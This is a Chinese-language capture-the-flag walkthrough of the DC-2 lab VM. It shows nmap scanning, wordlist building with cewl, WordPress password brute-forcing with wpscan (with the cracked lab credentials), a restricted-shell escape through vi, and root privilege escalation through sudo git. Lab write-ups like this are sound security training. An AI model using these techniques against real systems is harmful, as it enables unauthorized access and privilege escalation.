DC-2靶机的学习
靶场下载链接:
Download: http://www.five86.com/downloads/DC-2.zip
Download (Mirror): https://download.vulnhub.com/dc/DC-2.zip
Download (Torrent): https://download.vulnhub.com/dc/DC-2.zip.torrent ( Magnet)
环境
VMware:DC-2 IP:192.168.236.141
攻击机:kali linux IP:192.168.236.133
老规矩,上来就是nmap
nmap -A 192.168.236.141
只是开了80?先看看80吧。
在这里要配置本地dns解析,将目标ip地址(192.168.44.133 dc-2)添加进hosts中。
确定了CMS是wordpress的和flag1。flag1中提示我们使用cewl生成一个通用的字典,并且告诉了我们flag2在后台中。
Cewl是一种采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添加额外的外部链接,然后Cewl会给你返回一个字典文件,你可以把字典用到另外,Cewl还提供了命令行工具。
思路可以这样:使用Cewl生成一个字典,然后使用wpscan对wordpress进行破解。
cewl http://dc-2 -w /home/l/桌面/ad/dc-2.txt
看到字典生成了。
使用wpscan进行一下信息收集
wpscan -u http://dc-2
拿到了版本是word press 4.7.10
的 别的没什么好利用的。后台也没找到。爆破密码吧。
wpscan --url http://dc-2 -e u 枚举出三个用户名 admin jerry 和 tome
把那3个用户名做一个字典,名字为dc2user.txt,开始爆破密码。
wpscan --url http://dc-2 -U "/home/l/桌面/ad/dc2user.txt" -P "/home/l/桌面/ad/dc-2.txt"
爆破出来Jerry和tom的 密码是`Username: jerry, Password: adipiscing tom / parturient
妈的,后台地址还没找到。信息收集没做好。
使用dirb 做一个简单的目录扫描
dirb http://dc-2/
发现后台地址
http://dc-2/wp-login.php?redirect_to=http%3A%2F%2Fdc-2%2Fwp-admin%2F&reauth=1
发现多个遍历,但是没有可以下载的东西没什么用。
对不起,没有试一试默认的后台地址是我的错。登录一下 http://dc-2/wp-admin
拿到flag2,它提示:
如果你不能利用WordPress并抄近路,还有别的办法。
希望你能找到另一个切入点。
跟没说一样。操!!!
好吧,人生路漫漫。我们来看看后台有什么可以利用的。能不能拿下webshell什么的。 并没有找到。
来看看 nmap -A -p- 192.168.236.141
进行一个全端口扫描吧,看看有没有ftp,ssh
什么的。
7744
端口运行有ss
h服务,我们看看能不能使用tom
和Jerry
登录进去。
ssh tom@192.168.236.141 -p 7744
使用tom
成功登录进去ssh,
额,使用echo $SHELL
发现是受限制的user
也就是Restricted Shell
它与一般标准shell
的区别在于会限制执行一些行为。
系统运维人员一般都会给Linux shell加上一些限制来防止入侵,通常会阻止运行某些特定的命令。
我们来检查可用的命令:cd ls ehco等等,检查可用的编程语言,如python、perl、ruby等,检查环境变量运行env
或者printenv
还有 /
等等。。。这相当于一个收集情报的工作,这个步骤必不可少,有了情报才可以分析下一步骤该如何去做。
使用echo ¥PATH
查看命令存放的地方。
使用ls usr/bin
检查发现less ls scp vi
可以使用。
那我们使用vi 看看能不能绕过了rbash。
:set shell =/bin/sh
:shell
设置一下环境变量
export PATH =$PATH:/bin
export PATH=$PATH:/usr/bin
成功绕过了rbash
。cat
命令查看flag3.txt
这个flag中说:
什么玩意???不管了 cd ..
回到主目录 ls -l
命令查看一下权限。
既然如此,那我们直接使用 find / -name “flag4.txt”
查找flag
吧。
flag4.txt
在/home/jerry
中,使用cat /home/jerry/flag4.txt
查看flag4
小朋友,你是不是有很多问好???????????
在访问root
文件发现没有权限,看来flag5
在root
中,也就是说我们要提权。
提权之前,做一下信息收集吧
查看发行版
cat /etc/issue
cat /etc/*-release
查看内核版本
uname -a
好吧,什么也没发现。我们su jerry
看看 ls -l sudo -l 收集一波信息。
这个git
不用root密码的。那我们看看利用一下吧。
git提权
sudo git help config
!/bin/bash或者!'sh'完成提权
sudo git -p help
!/bin/bash
成功提权。cd root
然后 ls
cat final-flag.txt
_ _ / / / ___| | | __| | _ / \ / / / | | / _` |/ | '_ / _ / / / / __/ | | | (_| | (_) | | | | __/_/ / / _|_|_| __,_|___/|_| |_|_/
Congratulatons!!!
A special thanks to all those who sent me tweets and provided me with feedback - it's all greatly appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.
88 DC3-见